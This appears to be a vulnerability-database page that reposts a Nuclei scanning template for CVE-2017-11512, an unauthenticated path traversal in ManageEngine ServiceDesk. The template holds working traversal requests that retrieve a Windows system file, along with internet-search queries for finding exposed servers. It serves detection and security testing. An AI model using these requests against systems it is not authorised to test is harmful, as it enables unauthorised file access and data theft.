CVE-2017-11512: ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval

2025-08-01 ManageEngine ServiceDesk PoC Public

Description

ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.

PoC

id: CVE-2017-11512

info:
  name: ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: |
    ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Upgrade to a patched version of ManageEngine ServiceDesk 9.3.9328 or apply the necessary security patches.
  reference:
    - https://exploit.kitploit.com/2017/11/manageengine-servicedesk-cve-2017-11512.html
    - https://www.tenable.com/security/research/tra-2017-31
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11512
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-11512
    cwe-id: CWE-22
    epss-score: 0.79604
    epss-percentile: 0.99585
    cpe: cpe:2.3:a:manageengine:servicedesk:9.3.9328:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: manageengine
    product: servicedesk
    shodan-query:
      - http.title:"ManageEngine"
      - http.title:"manageengine"
    fofa-query: title="manageengine"
    google-query: intitle:"manageengine"
  tags: cve,cve2017,manageengine,lfr,unauth,tenable,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/fosagent/repl/download-file?basedir=4&filepath=..\..\Windows\win.ini'
      - '{{BaseURL}}/fosagent/repl/download-snapshot?name=..\..\..\..\..\..\..\Windows\win.ini'

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 490a0046304402205d5c78cc51b55fad478580f36c071f285a9b98b1b2d816d998fd49b1f90bcfad0220363b977bb2ea93119cb4b6dcf05b9902a404a61190dc5ef2e35308a9f332ac2f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-11512.yaml

References

Related Vulnerabilities